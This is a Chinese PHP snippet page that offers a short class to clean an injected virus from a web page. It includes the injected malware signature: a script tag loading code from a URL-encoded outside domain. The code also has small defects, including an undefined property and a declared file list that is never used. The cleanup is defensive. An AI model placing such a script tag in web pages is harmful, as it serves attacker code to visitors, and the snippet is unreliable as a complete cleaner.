php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

PHP对象相互引用的内存溢出实例分析

通常来说使用脚本语言最大的好处之一就是可利用其拥有的自动垃圾回收机制来释放内存。你不需要在使用完变量后做任何释放内存的处理,因为这些PHP会帮你完成。 当然,我们可以按自己的意愿调用 u...

PHP获取redis里不存在的6位随机数应用示例【设置24小时过时】

本文实例讲述了PHP获取redis里不存在的6位随机数的方法。分享给大家供大家参考,具体如下: PHP获取6位数随机数 PHP str_shuffle() 函数 str_shuffle(...

批量修改RAR文件注释的php代码

我们打开WINRAR的帮助文件,帮助文件中提到了在命令行模式下修改RAR文件注释及添加压缩文档的两个参数分别为A\C,WINRAR的说明文件如下: 从当前文件夹添加全部 *.hlp 文件...

php计算十二星座的函数代码

核心代码: 复制代码 代码如下: <?php /* * 计算星座的函数 string get_zodiac_sign(string month, string day) * 输入:...

Windows环境下安装PHP Pear的方法图文教程

Windows环境下安装PHP Pear的方法图文教程

本文实例讲述了Windows环境下安装PHP Pear的方法。分享给大家供大家参考,具体如下: PEAR简介 PEAR是PHP扩展与应用库(the PHP Extension and A...